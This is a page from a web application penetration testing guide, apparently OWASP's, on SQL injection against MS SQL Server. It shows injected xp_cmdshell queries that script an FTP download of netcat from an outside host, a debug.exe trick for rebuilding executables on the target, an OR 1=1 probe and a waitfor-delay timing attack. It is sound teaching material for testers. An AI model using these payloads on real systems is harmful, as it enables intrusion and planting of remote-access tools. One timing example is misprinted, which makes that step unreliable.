4.0

124
Web Application Penetration Testing
Example 8: Upload of executables
Once we can use xp_cmdshell (either the native one or a custom
one), we can easily upload executables on the target DB Server.
A very common choice is netcat.exe, but any trojan will be useful
here. If the target is allowed to start FTP connections to the tester’s
machine, all that is needed is to inject the following queries:
At this point, nc.exe will be uploaded and available.
exec master..xp_cmdshell ‘echo open ftp.tester.org > ftp-
script.txt’;--
exec master..xp_cmdshell ‘echo USER >> ftpscript.txt’;--
exec master..xp_cmdshell ‘echo PASS >> ftpscript.txt’;--
exec master..xp_cmdshell ‘echo bin >> ftpscript.txt’;--
exec master..xp_cmdshell ‘echo get nc.exe >> ftpscript.txt’;--
exec master..xp_cmdshell ‘echo quit >> ftpscript.txt’;--
exec master..xp_cmdshell ‘ftp -s:ftpscript.txt’;--
If FTP is not allowed by the firewall, we have a workaround that
exploits the Windows debugger, debug.exe, that is installed by
default in all Windows machines. Debug.exe is scriptable and is
able to create an executable by executing an appropriate script
file. What we need to do is to convert the executable into a debug
script (which is a 100% ASCII file), upload it line by line and finally
call debug.exe on it. There are several tools that create such debug
files (e.g.: makescr.exe by Ollie Whitehouse and dbgtool.exe by
toolcrypt.org). The queries to inject will therefore be the following:
exec master..xp_cmdshell ‘echo [debug script line #1 of n] >
debugscript.txt’;--
exec master..xp_cmdshell ‘echo [debug script line #2 of n] >>
debugscript.txt’;--
....
exec master..xp_cmdshell ‘echo [debug script line #n of n] >>
debugscript.txt’;--
exec master..xp_cmdshell ‘debug.exe < debugscript.txt’;--
At this point, our executable is available on the target machine,
ready to be executed. There are tools that automate this process,
most notably Bobcat, which runs on Windows, and Sqlninja, which
runs on Unix (See the tools at the bottom of this page).
Obtain information when it is not displayed (Out of band)
Not all is lost when the web application does not return any information
--such as descriptive error messages (cf. Blind SQL
Injection). For example, it might happen that one has access to
the source code (e.g., because the web application is based on an
open source software). Then, the pen tester can exploit all the SQL
injection vulnerabilities discovered offline in the web application.
Although an IPS might stop some of these attacks, the best way
would be to proceed as follows: develop and test the attacks in a
testbed created for that purpose, and then execute these attacks
against the web application being tested.
Other options for out of band attacks are described in Sample 4
above.
Blind SQL injection attacks
Trial and error
Alternatively, one may play lucky. That is the attacker may assume
that there is a blind or out-of-band SQL injection vulnerability in
a the web application. He will then select an attack vector (e.g.,
a web entry), use fuzz vectors (1) against this channel and watch
the response. For example, if the web application is looking for a
book using a query
select * from books where title=text entered by the user
then the penetration tester might enter the text: ‘Bomba’ OR 1=1-
and if data is not properly validated, the query will go through and
return the whole list of books. This is evidence that there is a SQL
injection vulnerability. The penetration tester might later play with
the queries in order to assess the criticality of this vulnerability.
If more than one error message is displayed
On the other hand, if no prior information is available, there is still
a possibility of attacking by exploiting any covert channel. It might
happen that descriptive error messages are stopped, yet the error
messages give some information. For example:
• In some cases the web application (actually the web server)
might return the traditional 500: Internal Server Error, say when
the application returns an exception that might be generated, for
instance, by a query with unclosed quotes.
• While in other cases the server will return a 200 OK message,
but the web application will return some error message inserted
by the developers Internal server error or bad data.
This one bit of information might be enough to understand how
the dynamic SQL query is constructed by the web application and
tune up an exploit. Another out-of-band method is to output the
results through HTTP browseable files.
Timing attacks
There is one more possibility for making a blind SQL injection attack
when there is not visible feedback from the application: by
measuring the time that the web application takes to answer a
request. An attack of this sort is described by Anley in ([2]) from
where we take the next examples. A typical approach uses the
waitfor delay command: let’s say that the attacker wants to check
if the ‘pubs’ sample database exists, he will simply inject the following
command:
select * from books where title=text entered by the user
Depending on the time that the query takes to return, we will
know the answer. In fact, what we have here is two things: a SQL
injection vulnerability and a covert channel that allows the penetration
tester to get 1 bit of information for each query. Hence,
using several queries (as many queries as bits in the required information)
the pen tester can get any data that is in the database.
Look at the following query
declare @s varchar(8000)
declare @i int
select @s = db_name()
select @i = [some value]
if (select len(@s)) < @i waitfor delay ‘0:0:5’